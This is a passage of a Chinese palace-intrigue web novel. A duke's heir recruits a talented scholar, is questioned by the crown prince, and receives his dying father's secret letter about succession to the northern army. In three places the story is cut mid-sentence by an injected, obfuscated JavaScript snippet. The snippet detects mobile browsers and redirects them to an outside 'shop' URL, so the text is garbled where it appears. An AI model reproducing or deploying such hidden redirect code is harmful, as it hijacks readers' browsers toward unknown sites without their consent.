“你谁啊?”他旁边那不识货的同伴却还没反应过来,见自家大哥吃亏,又见来人看着是个柔弱小白脸,还梗着脖子想找回场子,声音不自觉地拔高,“知道我们张兄是谁吗?他可是……” “闭嘴!”张公子魂飞魄散,几乎是扑过去,一把死死捂住了同伴的嘴,力道之大,让那同伴瞪大了眼睛,发出“呜呜”的闷响,满脸涨红与茫然不解。 张公子哪还顾得上同伴,他额角青筋直跳,冷汗涔涔,看都不敢再看江弄玦,只死死低着头,声音干涩发颤,对着江弄玦含糊又急促地道:“……惊扰了贵人……是、是在下有眼无珠……我们这就走……” 他一边说,一边死死拽着还在挣扎的同伴,几乎是拖着对方向后退,另外几个纨绔见势不妙,也早已噤若寒蝉,灰溜溜地跟着,一行人连滚爬爬,瞬间消失在酒楼门口,连头都不敢回。 江弄玦这才慢悠悠地收回手,仿佛刚才只是掸了掸衣袖上并不存在的灰尘。 他目光这才落到刚刚稳住身形、正低着头默默整理略显凌乱衣襟的云淮身上。 那青年鸦羽般的睫毛低垂,遮住了那双浅淡的眼眸,苍白的脸上没什么表情,只是唇线抿得有些紧。他弯下腰,想去拾起方才“不慎”掉落在地的那本书册。 然而,另一只手比他更快,两根修长的手指,已然轻松地夹起了那本薄册。 云淮动作一顿,缓缓直起身,抬眸落在对面那人身上。 白衣,蟠龙佩,眉目间是浑然天成的疏朗与若有若无的意兴阑珊。 哪怕云淮再怎么想偶遇贵人,却也没想到能遇上这带着蟠龙佩的。 真是撞大运了。 此人是哪位宗亲?如此出挑的相貌,不应默默无名。究竟是…… 江弄玦并没有立刻将书还给他,而是就着灯光,随意地瞥了一眼册子封面,又似乎不经意地,让书页在自己指尖“哗啦”轻响着翻过几页。 他的目光在那些密密麻麻、却力透纸背的批注上停留了一瞬,眉梢几不可察地动了一下。 “书不错。”江弄玦将书册递还过去,“人也挺有意思。” 云淮伸出双手,恭敬却并不卑微地接过书册,指尖与对方的指尖一触即分,冰凉。 他抬眼,那双眼眸此刻已恢复了古井无波的平静,对着江弄玦深深一揖,声音清晰而平稳:“在下云淮,多谢公子解围之恩。” 江弄玦含笑点头,目光在云淮身上不着痕迹地转了一圈,指尖轻轻摩挲着下巴。 “可是吴郡云家?” 云淮眸光微闪,这问题在意料之中。 他颔首,姿态端正却无谄媚:“公子明鉴。在下不才,正是云氏子弟,家中行九。” “行九……难怪,确实不曾见过。”江弄玦语气了然,心下已然盘算起来,该如何自然地递出橄榄枝,嘴上却顺着话题,“只是,既为云家子弟,为何独在此处,还受那等货色烦扰?” 云淮垂眸,掩去眼底细微的波动。 这问题若答得好,机缘便来,若不好,眼前机遇便抓不住了。 他再抬起眼,目光平静地迎向江弄玦,声音清晰平稳: “回公子的话,在下的生母去得早,蒙一位心善的姨娘抚养成人。姨娘待我如己出,奈何她自身亦是体弱多病,还需照料我那年幼的妹妹。家中……人口众多,用度自有章程。” “在下平日除温书备考外,亦需设法贴补些家用,为姨娘求医问药。醉今楼消息灵通,偶有抄录文书、代写书信的活计,价廉者亦可为之。今日前来,本是希冀能寻一二此类机会。” 他略一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“云淮。”江弄玦终于开口,声音不高,却带着一种奇异的、令人心神一凛的笃定。 “你这文章里,关于漕运改道与边军粮秣供给联动之策,还有用商队渗透草原以探敌情的构想,是何人指点,还是你自己所想?” 云淮呼吸几不可察地一滞。 他没想到对方一眼就抓住了文中最为出格,却也自认最精华的部分。 他稳了稳心神,抬眸迎上江弄玦的目光,眼神清亮而坦荡: “回公子,并无旁人指点。漕运之论,是学生查阅近年户部隐约公布的粮运损耗数据,结合地理志与游记中河道变迁记载,推演得出。至于商队探敌……” 他顿了顿,声音压低了些: “学生曾于市井间,与往来边塞的行商、乃至退役的老卒有过交谈,得知边境互市背后,信息交织复杂。便想,既有利可图,为何不能为我所用?这些皆是学生妄自揣测,纸上谈兵,让公子见笑了。” 江弄玦听罢,心中最后一丝疑虑尽去,取而代之的是更为灼热的欣赏与决心。 此人不仅才思敏捷,更有搜集情报、敢于联想突破的潜质。假以时日和平台,必成大器。 他指尖在那份策论上轻轻点了点,忽然问了一个看似不相干的问题: “你既急需用钱为姨娘求医,又可曾想过,凭你这笔字和这番见识,去谋个正经的书吏或幕僚之职?岂不比代写书信更稳当?” 云淮眼底极快地掠过一丝苦涩,旋即被平静掩盖:“公子明鉴,学生暂无合适的门路。且此类职位,多需中人担保举荐。” 太上道了,等的就是这句话。 江弄玦身体微微后靠,露出一个浅淡却真实的笑意,那笑意驱散了些许眉宇间的慵懒,显出几分属于上位者的果决。 “门路吗……”他笑着从腰间解下一枚质地温润的青玉私印,放在了那份策论之上。 “我姓江,单名一个‘玦’字,现居东宫行走。”他声音平稳,却如惊雷落在云淮耳中。 东宫二字,重若千钧。 “你若有意,可持此印,三日后辰时,去城南漱玉茶舍,寻一位姓沈的掌柜。他会给你安排一份暂时的文书差事,酬金足以应急,也可让你接触一些实务卷宗。至于后续,” 江弄玦眉目含笑,意味深长:“就看你能从那些卷宗里,写出什么东西来了。若真有实才,东宫詹事府下,并非没有破格录用的先例。” 云淮看着那枚触手生温的青玉私印,上面只有一个古篆的“玦”字。 他心脏狂跳,几乎要撞出胸腔,面上却硬生生维持着镇定。 最终,云淮深深吸了一口气,后退一步,撩起衣袍下摆,竟是端端正正行了一个大礼。 “云淮蒙公子信重,赐予机缘。必当竭尽所能,不负所托。” 言辞简洁,却重逾千斤。他没有多问茶舍详情,没有质疑安排,更没有喜形于色,只是郑重接下这份沉甸甸的机会。 江弄玦满意地点点头,起身:“今日便到此。记住,茶舍,沈掌柜,三日后辰时。” 他不再多言,转身便朝楼梯走去,仿佛真的只是顺手解了个围,给了个临时工作介绍。 云淮握着那枚尚带对方体温的私印,目送那白衣身影消失在楼梯转角,久久未动。直到楼下喧嚣再次涌入耳中,他才缓缓收拢手指,将玉印紧紧攥在手心。指尖冰凉,掌心却一片滚烫。 9. 本世子被表兄关心 见江弄玦回来,林知尘笑着打趣:“惜才之心又起了?眼睛够尖啊,那么远都能捞着人。” 他扇子虚点了一下楼下方向,调侃道:“觉明怕是又要叫你烦透了。天天地给他张罗新人,东宫都快成国子监别院了。” 觉明,是江醉玉的字。是他十六入朝参政时,为当今圣上所赐的。 旁人不敢称太子殿下的字,林知尘和江弄玦这两个自己人,还是在私下,林知尘便没顾及那么多了。 江弄玦坐回原位,端起温热的茶喝了一口,润了润有些发干的嗓子,顺道送去一个“你懂什么”的眼神。 “朝中那些老人,根基多在陛下与陆相门下,云家门生虽多,可终不是自己人。殿下如今正是用人之际,从微末时一步步提拔上来的人,受过殿下的恩,这份忠诚才最是牢靠。” “好好,说不过你。”林知尘“唰”地合上玉扇,起身理了理并无褶皱的衣袍,“时辰不早,该回了。再耽搁下去,殿下怕不是又要以为我没看住你,让你溜去哪个犄角旮旯体察民情了。” 他语气夸张,带着明显的怨念:“真是的,我这伴读当得,都快成你的专属看守了。” 江弄玦被茶水呛了一下,哽咽道:“怎么你也成了殿下的帮凶?林兄,说好的同仇敌忾呢?” “我说世子爷啊,”林知尘翻了个极其不符合他文雅贵公子形象的白眼,语气痛心疾首,“您还明知故问上了。” “上个月去红嫣馆查那桩私盐案,是谁嘴上答应得好好的‘绝不涉险’,转身就换了身行头悄没声儿跟进去的?太子殿下事后知道了,没动你一根手指头,倒扣了我整整半个月的俸禄!” 他伸出两根手指比划着:“那可是白花花的银子!我能不长记性,不把你看紧点儿吗?” “把我当出轨的丈夫整呢不是……”江弄玦摸了摸鼻子,低声嘀咕了一句,到底有些理亏。 两人一边斗嘴,一边并肩离开雅间。楼下说书先生已换了新段子,满堂喧嚣依旧。 回宫后,两人一同先去了东宫的老巢,将正事交代给了等候的幕僚们,随后一前一后出了门。 林知尘登上自家马车,掀开车帘,回身对江弄玦露出一个“自求多福”的同情笑容:“今日林某就先告辞了。弄玦兄你嘛……再去太子殿下那一趟吧。” 他刻意停顿,压低声音,带上了几分看热闹不嫌事大的调侃:“别让等久了,不然我怕下个月俸禄也悬。” 说完,他便放下车帘,马车驶离,留下江弄玦独自站在东宫外的甬道上。 江弄玦望着暮色中愈发沉静的东宫殿宇,深吸一口傍晚微凉的空气,抬步朝着太子书房那永远亮着灯火的方向走去。 被内侍无声引至门前,江弄玦抬手,轻叩两下。 “殿下,臣弄玦。” “进。” 隔着厚重的门板,江醉玉的声音清晰传来。 推门而入,行至书案前三步处站定。 书案后,江醉玉一身藏青色暗纹蟒袍,更衬得他肩宽背直,威仪自成。他并未抬头,仍手持朱笔,在一份摊开的奏章上勾画。 烛火在他轮廓分明的侧脸上投下深深浅浅的阴影,凤眼沉静,鼻梁高耸,薄唇微抿。整个人像一块经过岁月与权力反复打磨的寒玉,收敛了年少时轻盈的灵气,散发着生人勿近的凛然与疏离。 五年时光,将那个十三岁便已显露峥嵘的少年储君,淬炼成了真正如岳临渊的王朝继承者,那身气压愈发厚重迫人。 “都退下。”江醉玉开口,声线较之五年前更为低沉醇厚,也更为平静从容,带着一种不容置疑的权威。 内侍们躬身,鱼贯而出,动作轻捷得如同从未存在过。门被轻轻掩上,屋内霎时静了下来,只剩下烛火偶尔的噼啪声,以及朱笔划过纸面的细微声响。 江弄玦垂手立在原地,眼观鼻,鼻观心。 这几年,类似的单独问话已成常态。从最初的紧张惶恐,到后来的谨慎应对、察言观色,再到如今,他发现自己竟生出一种近乎麻木的习惯。 就像此刻,他知道江醉玉在等,等他主动汇报,等他说明今日行踪,等他解释为何“又”在酒楼逗留,甚至可能问起那个“云家庶子”。 他就像一只被习惯了笼中生活的鸟,连扑腾翅膀的欲望都在日复一日的规矩与注视中,渐渐消磨。 权力伴随着束缚,习惯便好。何况江醉玉给他的权力远超他所得到的束缚。 时间在寂静中缓缓流淌。 江醉玉似乎终于批完了手头那份急件,搁下朱笔,拿起一旁的湿帕,慢条斯理地擦拭着指尖并不存在的墨渍。 擦完,他的目光,这才缓缓抬起,落在几步之外那道清隽的身影上。 那目光如有实质,沉甸甸地压过来,带着审视,也带着一种更难以言喻的东西。 “今日,玩得可还尽兴?”江醉玉终于开口,声音平平,听不出喜怒。 江弄玦抬眸,迎上那道目光。 他知道江醉玉喜欢,甚至习惯于通过他的眼睛来观察他内心的每一丝波动,他不能让对方看到慌乱。 “表兄……” 这五年,二人私下相处,或是只有几个熟人时,江弄玦一直称江醉玉为表兄,这是江醉玉给他的“特权”。 “听闻,你还管了一桩闲事?” 尽管被打断,江弄玦处变不惊:“是。见云家老九被无端纠缠,顺手为之。” 江醉玉指尖在光滑的紫檀木桌面上轻轻一点,发出细微却清晰的叩响: “顺手为之……你可查明他身份底细了?云家后宅那潭水,比你想的浑。” 江弄玦微微皱眉,目光没有躲闪,反而更直接地望进江醉玉眼底。 “回表兄,弄玦并非毫无考量。那人确有实学,文章我也看了,绝非庸才。如今朝中……” “朝中如何,孤比你清楚。”江醉玉再次打断了他,声音微冷,周遭空气都因此有些许凝固,“你如今行事,是越发自作主张了。” 熟知这是江醉玉动怒了的前兆,江弄玦也暗自咬紧了牙关。 这总不能告诉他云淮这人有可能是乙游男主之一,未来还是当朝宰相,是你的左膀右臂吧? 而且之前给你找的人材确实也都不错啊,怎么这次反应这么大? “是弄玦思虑不周,”于是江弄玦硬着头皮,深吸一口气,仿佛孤注一掷般,将那带了点年少依赖与委屈的语气抛了出来,“……但表兄,人才难得,何况是身家清白、易于施恩的才子?我此举,也是想为东宫揽才。” 话音落下,二人之间安静了足足三息。 这三息对江弄玦而言,漫长得足以让他听见自己擂鼓般的心跳和血液冲上耳膜的声音。他眼神坚决地、甚至带上了点破罐破摔的执拗,与江醉玉对视着,不肯先移开视线。 此刻,江醉玉那双一向平静的双眼显得越发深邃幽暗,仿佛有看不见的漩涡在其中缓缓转动,吞噬着所有外露的情绪。 那目光锁着江弄玦——从他不自觉抿紧的唇,到微微颤动的眼睫,再到那强作镇定却已泄露出一丝慌乱的瞳孔深处。 江醉玉在有限的沉默中衡量,在克制,也在…… 品味。 品味这声带着求饶意味的“表兄”,究竟有多少真心,又有多少不得已。 不管如何,听着确实让人舒心。 少顷,他薄唇微启,抛来三个字: “来研墨。” 江弄玦紧绷的肩线几不可察地松了一丝,悬着的心却也没能完全落下—— 这通常是暂时放过,但秋后算账的信号。 江弄玦依言走到江醉玉身侧站定,弯腰取过墨块,就着砚台中少许清水,开始缓缓研磨。 他动作熟稔,是这几年被罚出来的功夫。鼻尖嗅到了上好的松烟墨香,以及江醉玉身上那经年不变的、清冽而尊贵的龙涎香气,此刻因距离极近,丝丝缕缕、不容抗拒地侵入他的感官。 就在他心神稍懈,专注于手下动作时—— “你对他,倒是上心。” 江醉玉的声音几乎贴着耳侧传来,低沉,平缓,却因为距离太近而显得格外清晰,犹如情人间的耳语。 江弄玦手下一滑,墨块险些脱手砸在砚台上。 他猛地稳住手腕,下意识转头,心跳漏了一拍—— 只见江醉玉不知何时已倾身过来,那张无可挑剔的俊颜近在咫尺,鼻尖相距不过一掌,温热的呼吸几乎拂过他耳廓。那双深邃如寒潭的眼眸,正一瞬不瞬地锁着他。 “不准退。” 江醉玉的声音压得更低,带着不容置疑的命令。 江弄玦那要向后踉跄的腿,被这一声硬生生钉在原地,反射弧被强行中断,只余下僵硬。 江醉玉看着他瞬间苍白的脸和骤然收缩的瞳孔,眉头微耸。 那神情似是不满于他的惊惧,又似是微愠于他对自己如此明显的防备。 “孤知道,你同他是第一次见面。” 江醉玉缓缓直回身子,拉开了些许距离,但目光依旧一寸未离,语气恢复了那种冷静:“正是因此,才令孤疑惑。” “以往你举荐人才,多是将名单与考评报于孤,或交由可信之人暗中观察。直接引荐至茶社,给予信物,安排如此详尽……这是头一遭。” 他顿了顿,每个字都像冰珠砸在玉盘上,清晰冷冽。 “上心至此,若对方是个女子,孤怕是要以为……” 他目光在江弄玦脸上逡巡,捕捉着每一丝细微的变化,唇角甚至勾起一抹极淡的、毫无暖意的弧度。 “弄玦对她,一见倾心了。” 说到“一见倾心”四字,那笑容似乎真切了些,如春光偶然洒落在冰封的雪巅,美则美矣,却只让人从骨头缝里渗出寒意,战栗不已。 江弄玦喉咙发干。 江醉玉说得没错,这待遇确实特殊。 以往他更多是提供信息和判断,最终的决定和接触路径都由江醉玉或东宫幕僚把控。而这次,他几乎是越俎代庖,亲自搭桥,将云淮直接引向了东宫外围的核心——茶社。 若他是江醉玉,也要起疑的。 啊,他这脑子。只顾着发现未来云淮的兴奋,却忘了自己此举过于暧昧,过于急迫了。 他为何如此急迫?是因为确信云淮就是未来的云卿南,怕错过时机? 还是因为从云淮那双沉静却倔强的眼里,看到了某种在绝境中也不肯折断的韧性,像一面镜子,隐约照见了自己初来这世上的茫然与坚持,从而动了恻隐之心? 江弄玦张了张嘴,发现声音有些哑,他清了清嗓子,努力让自己的眼神看起来坦诚而无辜,“表兄明鉴,正因是第一次见面,不知根底,才更需放在眼皮底下看着。” “茶社有沈掌柜把关,进退皆宜。若真是可造之材,便能尽快为表兄所用。若是包藏祸心或名不副实,处置起来也干净,不至牵连过广。” “此人文章见识确非凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515978|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗,弄玦是惜才心切,行事鲁莽了,请表兄责罚。” 不知是被他说服了,还是被他这幅故意卖乖、眼巴巴望着自己的模样取悦到,江醉玉撇来的一眼里,先前那慑人的冷意悄然消融,只有无奈和复杂。 他轻叹一声,抬手揉了揉太阳穴,冷淡的面孔上罕见地流露出了一丝真实的疲惫。 “过来。”他声音低沉了些,命令却柔和了,“给孤捏捏肩。” 江弄玦心下一喜,这下总算过关了。他非常狗腿地凑了过去,站在江醉玉身后,熟练地找到他肩颈处紧绷的肌肉,力道适中地揉捏起来。 嘿嘿,这么些年在江醉玉手下混日子,他还是有些哄小太子的手法的。 书房内安静下来,只剩下烛火轻微的噼啪声,以及衣物摩擦的细微声响。方才的剑拔弩张,仿佛只是错觉。 就在江弄玦以为风波已过,暗自庆幸时,却听身前的人忽然开口,声音很轻,带着一种罕见的怀念。 “上一次听你这般急切地叫‘表兄’求情,还是你初入东宫不久,为了一个被冤枉的小内侍,跪在孤面前的时候。” 江弄玦手下动作微微一顿,那段几乎模糊的记忆倏然清晰—— 那个瑟瑟发抖的小太监,自己带着一腔“正义”、初生牛犊不怕虎的冲动,还有书房地上冰凉的触感,以及书案后太子那双看不出情绪的、深潭般的眼睛。 若是放到现在,在亲眼见过这宫墙之内无数或明或暗的规则,见证过太多人无声无息地消失之后,江弄玦未必还有当初那股不管不顾的冲劲。 江醉玉似乎并未察觉他的停顿,继续用那种低沉和缓的语调说道: “那时你胆子虽小,为了不相干的人,脊梁倒挺得直。如今倒是学会跟孤耍心眼、为不相干的人跟孤讨价还价了。” 他顿了顿,声音里那丝柔软的怀念渐渐沉淀下去,化作像是自语般的询问: “一直以来,孤对你过于严苛,束缚太多。” “弄玦……可会怪孤?” 江弄玦听着前面的话还有心提心吊胆,此刻却在他的身后无奈般地笑了一下。 怎么怪?怪他自己命不好穿到这吃人不吐骨头古代吗?怪江醉玉有意培养,他自己却不识抬举? 平心而论,江醉玉作为封建王朝的储君,他给予江弄玦的,早已远超一个“质子”或普通伴读所能想象的宽容与特权。 出入相对自由,接触核心事务,太子本人的悉心指导,拥有建议之权,甚至说某种私情上的纵容。 若无江醉玉这座靠山,他一个远离故土、父亲远在北疆的世子,在这京城权力场中,恐怕早已被各方势力吞得渣都不剩,甚至被宫中踩低捧高的奴仆随意磋磨。 所以,江醉玉给予的是恩宠,是旁人求都求不来的青云梯。 哪怕那也是牢笼。 可这些都能让他在这个吃人的地方活得更好。 人非木石,怎能不晓得感恩?几年时日下来,江弄玦也说不清,自己对江醉玉抱了多少感激,甚至真有点把对方当成朋友、家人了。 但,对江醉玉来说,一切关系都要排在君臣之后。 江醉玉绝大多数时间都面冷心热地善待他,却会在某个他松懈时间用冰冷而机械的心思审视他。 那为数不多的几次审视让江弄玦知道,他们二人先是君臣,再是表兄弟。 他和江醉玉之间,大抵从一开始,就注定了是这样一场扭曲却牢固的依存。 然而,尽管当初他下定决心要这样生存,却也难免在夜深人静时,或在如现在这般近乎窒息的静谧中质疑自己——都这样活得不痛快了,还有什么意思?江醉玉的这份恩宠又会在什么时候被陡然收回?届时,他是不是便……连这点扭曲的立足之地,都会失去? 江醉玉察觉到他长久的沉默,以及那按在自己肩上的手指无意识的停顿。他没有回头,只是抬起手,轻轻覆在了江弄玦的手背上。 那只手修长而骨节分明,掌心温暖干燥,带着常年握笔留下的薄茧,力道不重,却带着一种不容置喙的意味。 仿佛一种无声的催促,又像是在给予一种奇异的安抚。 掌心相贴的温度透过皮肤传来,灼得江弄玦指尖微微一颤。 “表兄……” 江弄玦垂下眼帘,目光落在两人交叠的手上,那温暖的触感此刻仿佛有了千斤重。 他喉结滚动了一下,声音低低的,带着一种认命般的、连自己都未曾明晰的倦怠: “无论是什么,表兄所给予的,弄玦都……” “甘之如饴。” 话音落下的瞬间,他感到覆在自己手背上的那只手,收紧了一瞬。 那力道转瞬即逝,快得像是错觉。 “好。”江醉玉回道,声音恢复了惯常的平稳低沉,听不出太多波澜,只是那简单的音节里,似乎卸下了一丝无形的重量。 “你能这般想,孤便放心了。” 他缓缓收回了手,仿佛方才那片刻的接触从未发生。 在江弄玦看不见的角度,江醉玉的唇角几不可察地、缓缓勾起一个弧度。 那并非温和的笑意,而是一种混合着满意、掌控,以及某种难言的势在必得。 如同一位棋手,终于将最关键的那枚棋子,稳稳地、心甘情愿地,安置在了他精心计算好的位置上。 烛火在他轮廓分明的侧脸上跳跃,将那抹转瞬即逝的笑意映照得晦暗不明,却足以让任何窥见者心惊。 10. 本世子……好慌 将云淮引荐入漱玉茶舍的事,最终以江弄玦被“罚”去政事堂,随身跟随江醉玉学习半月告终。 事后,林知尘对着江弄玦翻了个实实在在的白眼,忿忿不平。 “凭什么罚你就是跟着殿下学习听政,罚我就是实打实地扣半个月俸禄啊!我的银子啊啊!” 江弄玦犯贱回应:“要不林兄你也去殿下跟前,叫声‘表兄’求求情?说不定殿下心一软,不仅能免了罚,还能赚点赏银呢。” 林知尘被噎得半晌无语,想想更是气闷。 太子的皇弟皇妹恐怕都得不到江弄玦这般“贴身教导”的待遇,只能说明太子对他实在太过纵容。可一想到自己缩水的钱袋,还是气得牙痒痒。 跟随江醉玉在政事堂学习,对江弄玦而言只会受益匪浅。他能第一时间接触到最前沿的朝政动态、边关奏报,聆听重臣议事与太子决断,视野与格局被迅速拓宽。 本质上更像是高中时期火箭班周末加课。 当然,他的“班主任”太子殿下贵为储君,侍奉起来肯定是比一般班主任要费心的。 尤其是在李辞禅离京后,江醉玉对他的态度便时常在两种模式间微妙切换。 有时严苛得出奇,与他老母亲当年派三个保镖轮流监督他工作的程度相当,每一份文书、每一个见解都要反复锤炼,不容半分差错;有时却又会在二人独处时,流露出罕见的温和与体贴,甚至在他疲累时默许片刻懈怠。 江弄玦实在招架不住了,便时不时躲去林知尘那里透透气,歇歇紧绷的脑子。 林知尘除了伴读,还协助打理城外茶舍的事务。江弄玦便顺道向他打听云淮入职后的状况。 得知对方适应极快,办事缜密利落,已得了沈掌柜几句夸赞,江弄玦心下稍安,盘算着有机会出城再亲自去瞧一眼。 另一边,思及林知尘早些时候提及的“该回北疆省亲”之事,江弄玦心中始终犹豫该如何向江醉玉开口。 其实,契机并非没有。近日因他在太子身边出现得过于频繁且地位特殊,市井间已悄然流传起关于他身世的离奇故事。 有说镇北王与江湖侠女生死相许,留下一段深情,几经波折才寻回流落民间的爱子;又说世子甫一回府,便被陛下送入东宫伴读,如今得太子青眼,正是皇家一段“兄友弟恭”的佳话。 在这般舆论风口,若他主动提出回北疆省亲,一来全了孝道,二来正可彰显陛下仁厚、太子顾念亲情,为东宫形象添彩。 陛下与朝臣那边,出于“仁孝”治国的大义名分,应当不会轻易驳回。 但……江醉玉呢? 江醉玉平时把他已经管得这么紧了,会轻易放他一个“质子”离开京城,回到天高地远的北疆吗?他可是未来的皇帝,江弄玦总不能因为回北疆这事跟他闹翻吧? 几番犹豫下,他当月多写了一封家书寄回北疆,关心了一下据说病了好几个月的镇北王,顺带表示了回北疆的想法,但心里还是有些忐忑。 除了跟镇北王定期地通书信外,江弄玦还有一位固定笔友—— 李辞禅。 那人远去西北,却在抵达后的第一周,便连着寄来两封信。 第一封详述边塞风物与军营日常,语气刻意维持着平淡。 第二封只有一行字,力透纸背,江弄玦几乎能从中看到书写者做出一副蓄意恐吓的嘴脸: “江弄玦,敢不回信试试。” 虽曾有过那场尴尬的表白与拒绝,但江弄玦心底对李辞禅那份兄弟情谊并未磨灭。他更倾向于认为,李辞禅当时只是一时冲动,未能厘清依赖与爱慕的界限。 既然对方主动来信且只字不提旧事,他便从善如流,当作那页已然翻篇。于是他提笔回信,叮嘱对方保重,字句一如往昔。而后两人维持住了这份书信往来,至今未断。 一个月的时间,在忙碌中转瞬即逝。 这天清晨,江弄玦刚熬完通宵处理完在政事堂分摊的繁琐案牍,眼皮重得几乎粘在一起,正准备倒头补个觉时,窗棂却传来三声极轻、却代表最高紧急级别的叩击。 是他留在宫外、直属于镇北王府的暗卫。 江弄玦心脏猛地一沉,残存的睡意瞬间荡然无存。他不顾身体的极度疲惫,迅速起身,从暗卫手中接过那封没有任何标记、触手却略带寒意的信函。 快速掩好门窗,他用指尖划过信封特定位置,一道几乎看不见的细微水痕显现。随即,取出一小瓶特制药水,均匀涂抹在看似空白的信纸上。 墨迹逐行浮现,是镇北王亲笔。 笔力依旧遒劲,却隐隐透出一股力不从心的虚浮,甚至有几处晕染着停笔过久墨迹。 吾儿弄玦: 见字如面。 为父近来沉疴愈重,自知大限不远,恐不及当面嘱托,故以此密信相告,吾儿须谨记。 为父所执掌的三十万镇北军,戍守国门,功在社稷,却也早成圣上心头一块挥之不去的重石。他欲收兵权久矣,然无正当名目,更惧边疆动荡。 为父若去,镇北军顷刻间便成无主之兵。军中诸将,忠奸难辨,必有野心勃勃者欲趁乱而起,亦有心向朝廷者思虑前程。 此等内乱之象,恰是圣上最乐见,亦是最惧见之局。 蛮族狼子野心,窥伺北疆非一日。若我军先乱,彼必趁机而入,届时山河破碎,为父纵死亦难瞑目。 故此,为父殚精竭虑,唯思得一破局之策,亦是为吾儿谋一生路——你须尽快力请陛下允你归北疆,承袭王爵,接掌兵权。 由你,镇北王世子,名正言顺地接替,是最顺应法统、最得军民之心、亦最能堵住朝野悠悠之口的选择。陛下为顾全“仁孝”名声与边疆稳定,权衡之下,应会应允。 然此事至关紧要,亦凶险万分。北疆情势复杂,军中暗流汹涌,朝廷耳目遍布。吾儿须步步为营,既要以雷霆手段震慑屑小,亦要以怀柔之心凝聚军心。更须提防京中有人不愿见你坐大。 为父时日无多,不知明日是否还能执笔。唯盼吾儿早作决断,速速归来。镇北军的虎符与为父未尽之志,皆托付于你。 勿念,速行。 父字 信纸从江弄玦微微颤抖的指尖滑落,落入掌中。窗外天色将明未明,一线惨淡的晨光勉强挤入室内,却驱不散那字里行间透出的千钧重压。 镇北王……他那便宜老爹真的到了油尽灯枯的境地。 而那三十万大军的生死存亡,那北疆千里防线后的万家灯火,伴随着镇北王的嘱托,轰然压在了他的肩头。 补觉已成奢望。他缓缓坐下,背脊下意识挺得笔直,仿佛如此便能扛住那无形的重量,却只感到一阵从骨髓深处渗出的寒意。 这应当是他穿越至此方世界后,第一次真正直面如此避无可避、退无可退的滔天巨浪。 手中这薄薄一张纸,轻若无物,却重逾泰山——它不仅关联着他的未来是生是死,更关联着北疆无数将士的血肉与边疆百姓的安宁。 只是,他当真有资格、有能力去面对这些么? 江弄玦闭了闭眼,用力咬了咬口腔内壁的软肉,试图通过尖锐的痛感刺破这令人窒息的虚幻感。他甚至荒谬地希望自己能就此昏过去,全当这一切只是压力过大产生的噩梦一场。 一直静立如阴影的暗卫见状,上前半步:“主子。属下朱刃,奉王爷最后密令:请主子尽快决断行动。若依王爷之计行事,属下将即刻联络王爷布于京城及沿途的所有死士与暗桩,全力辅助主子,听候差遣。” 江弄玦仍紧闭着眼,恍若未闻。 巨大的信息量与责任感如同冰水混合物,灌入他的四肢,以至于他手脚冰凉,也几乎冻结了思考。 不能乱。 江弄玦,冷静。 他在心中对自己嘶吼。 你要冷静。 事已至此,慌有用吗?怕有用吗? 吸气—— 冰冷的空气涌入肺腑。 呼气—— 试图将惊惧与茫然一并吐出。 几息之间,他胸腔内那擂鼓般的心跳和急促的呼吸,竟奇迹般地、强行地平复下来。 他依然闭着眼,面容却褪去了方才那一闪而逝的仓皇,如同一尊入定的佛,神情沉静,脑中却进行着风暴过后的绝对专注与精细计算。 事无巨细地想一遍。 此事各方的立场,近来的北疆大局,谁在局中,谁在执棋,执棋人想要什么,他在局中能扮演什么角色,以及—— 江弄玦,你自己,究竟想如何渡过接下来的人生? “主子!”朱刃见他久无回应,时间紧迫,不由咬牙再次催促,声音里带上了焦灼,“北疆等不起,王爷……更等不起了!还请速速决断!” 最后四字,重若雷霆,击醒了一切。 江弄玦倏然睁开眼。 眼底最后那点迷茫与挣扎,已被一种近乎冷酷的清明所取代。 那不再是平日里温润带笑或惫懒疏离的眼神,而是一种被逼至悬崖、退无可退后的锐利与决断。 “朱刃,听令……” 一个时辰后,收拾妥帖却难掩眉宇间疲惫的江弄玦,来到东宫求见太子。 江醉玉本以为他经历了昨天的熬夜,今日至少会歇息半日,此刻见到他神色凝重地早早出现,心中掠过一丝讶异,随即升起更深的审视。他放下朱笔,目光落在江弄玦明显睡眠不足却异常坚定的脸上。 还未等他发问,江弄玦已上前几步,竟端端正正行了一个大礼,声音干涩却清晰:“表兄,弄玦有一事相求。” 江醉玉眸光微动,上身前倾了些许。 江弄玦这般郑重其事的相求,他还从未见过。 他指尖在案几上轻轻一点,语气平静,却带着十二分的专注:“说。” 江弄玦抬起头,并未起身,目光直直望向江醉玉,那眼底有疲惫,有挣扎,更有一份破釜沉舟:“弄玦可能即将面临此生最大的一道坎。此事关乎北疆,关乎父王,更关乎我自身前程性命。前路莫测,祸福难料。” 他顿了顿,喉结滚动:“在面圣陈情之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515979|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄玦别无他求,只求表兄一事——无论接下来听到什么、看到什么,无论弄玦做出何等看似出格或悖逆之举,都请表兄信我一次。” 